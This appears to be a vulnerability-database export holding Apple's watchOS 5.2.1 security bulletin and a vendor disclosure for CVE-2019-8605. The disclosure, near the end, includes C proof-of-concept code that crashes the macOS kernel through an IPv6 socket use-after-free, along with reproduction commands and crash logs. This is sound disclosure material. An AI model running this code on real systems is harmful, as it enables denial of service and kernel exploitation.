["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:1E452AB09BD018501C8ED03BD6811E97", "href": "https://support.apple.com/kb/HT210549", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:14:04", "description": "# About the security content of watchOS 5.2.1\n\nThis document describes the security content of watchOS 5.2.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: natashenka of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: natashenka of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: natashenka of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 05, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-05-13T00:00:00", "type": "apple", "title": "About the security content of watchOS 5.2.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8573", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8593", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8612", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8626", "CVE-2019-8637", "CVE-2019-8664"], "modified": "2019-05-13T00:00:00", "id": "APPLE:0B002AB816638E74B596AA40B55E1D50", "href": "https://support.apple.com/kb/HT210122", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:40", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 5.2.1\n\nReleased May 13, 2019\n\n**AppleFileConduit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8593: Dany Lisiansky (@DanyL931)\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted movie file may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8585: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted audio file may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved error handling.\n\nCVE-2019-8592: riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative\n\nEntry added August 1, 2019\n\n**Disk Images**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8560: Nikita Pupyshev of Bauman Moscow State Technological University\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to cause unexpected system termination or read kernel memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2019-8576: Brandon Azad of Google Project Zero, Junho Jang and Hanul Choi of LINE Security Team\n\nEntry updated May 30, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to cause unexpected system termination or write kernel memory\n\nDescription: A type confusion issue was addressed with improved memory handling.\n\nCVE-2019-8591: Ned Williamson working with Google Project Zero\n\n**Mail**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8626: Natalie Silvanovich of Google Project Zero\n\n**Mail Message Framework**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8613: Natalie Silvanovich of Google Project Zero\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added August 1, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to cause a system denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8573: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**Messages**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8664: Natalie Silvanovich of Google Project Zero\n\nEntry added July 3, 2019\n\n**MobileInstallation**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8568: Dany Lisiansky (@DanyL931)\n\n**MobileLockdown**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to gain root privileges\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8637: Dany Lisiansky (@DanyL931)\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An input validation issue was addressed with improved memory handling.\n\nCVE-2019-8577: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A maliciously crafted SQL query may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2019-8600: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to read restricted memory\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2019-8598: Omer Gull of Checkpoint Research\n\n**SQLite**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2019-8602: Omer Gull of Checkpoint Research\n\n**sysdiagnose**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2019-8574: Dayton Pidhirney (@_watbulb) of Seekintoo (@seekintoo)\n\nEntry updated February 3, 2020\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may result in the disclosure of process memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8583: sakura of Tencent Xuanwu Lab, jessica (@babyjess1ca_) of Tencent Keen Lab, and dwfault working at ADLab of Venustech\n\nCVE-2019-8601: Fluoroacetate working with Trend Micro's Zero Day Initiative\n\nCVE-2019-8622: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8623: Samuel Gro\u00df of Google Project Zero\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An attacker in a privileged network position can modify driver state\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8612: Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\nEntry added May 30, 2019\n\n**Wi-Fi**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A device may be passively tracked by its Wi-Fi MAC address\n\nDescription: A user privacy issue was addressed by removing the broadcast MAC address.\n\nCVE-2019-8620: David Kreitschmann and Milan Stute of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Clang**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero for their assistance.\n\n**CoreAudio**\n\nWe would like to acknowledge riusksk of VulWar Corp working with Trend Micro's Zero Day Initiative for their assistance.\n\nEntry added July 25, 2019\n\n**CoreFoundation**\n\nWe would like to acknowledge Vozzie and Rami and m4bln, Xiangqian Zhang, Huiming Liu of Tencent's Xuanwu Lab for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad of Google Project Zero and an anonymous researcher for their assistance.\n\n**MediaLibrary**\n\nWe would like to acknowledge Angel Ramirez and Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc. for their assistance.\n\n**MobileInstallation**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) for their assistance.\n", "edition": 4, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-27T08:19:16", "title": "About the security content of watchOS 5.2.1 - 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It is, therefore, affected by the following vulnerabilities :\n\n - A validation issue was addressed with improved input sanitization.(CVE-2019-8603,CVE-2019-8560)\n\n - A memory corruption issue was addressed with improved memory handling.(CVE-2019-8635,CVE-2019-8616,CVE-2018-4456,CVE-2019-8604,CVE-2019-8574,CVE-2019-8569)\n\n - A logic issue was addressed with improved restrictions.(CVE-2019-8590)\n\n - A memory corruption issue was addressed with improved error handling.(CVE-2019-8592)\n\n - An out-of-bounds read was addressed with improved input validation.(CVE-2019-8585,CVE-2019-8607)\n\n - This issue was addressed with improved checks.(CVE-2019-8589)\n\n - An out-of-bounds read was addressed with improved bounds checking.(CVE-2019-8560,CVE-2019-8576)\n\n - An authentication issue was addressed with improved state management.(CVE-2019-8634)\n\n - A memory initialization issue was addressed with improved memory handling.(CVE-2019-8629)\n\n - A validation issue existed in the handling of symlinks. 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It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/ioctl.h>\n#include <sys/socket.h>\n#include <unistd.h>\n#include <net/if.h>\n#include <string.h>\n#include <netinet/in.h>\n#include <errno.h>\n\n/*\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n*/\n\n#define IPPROTO_IP 0\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\nint main() {\n int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n printf(\"res0: %d\\n\", s);\n struct sockaddr_in6 sa1 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65000,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_LOOPBACK,\n .sin6_scope_id = 0,\n };\n struct sockaddr_in6 sa2 = {\n .sin6_len = sizeof(struct sockaddr_in6),\n .sin6_family = AF_INET6,\n .sin6_port = 65001,\n .sin6_flowinfo = 3,\n .sin6_addr = IN6_ADDR_ANY,\n .sin6_scope_id = 0,\n };\n\n int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));\n printf(\"res1: %d\\n\", res);\n\n unsigned char buffer[4] = {};\n res = setsockopt(s, 41, 50, buffer, sizeof(buffer));\n printf(\"res1.5: %d\\n\", res);\n\n res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));\n printf(\"res2: %d\\n\", res);\n\n close(s);\n printf(\"done\\n\");\n}\n\n\nClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well.\n\n==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248\nREAD of size 8 at 0x610000000c50 thread T0\nSCARINESS: 51 (8-byte-read-heap-use-after-free)\n #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25\n #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13\n #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12\n #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12\n #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10\n\n0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00)\nfreed by thread T0 here:\n #0 0x497a3d in free _asan_rtl_:3\n #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3\n #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7\n #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10\n #5 0x7f15a34324c5 in sodisconnectx 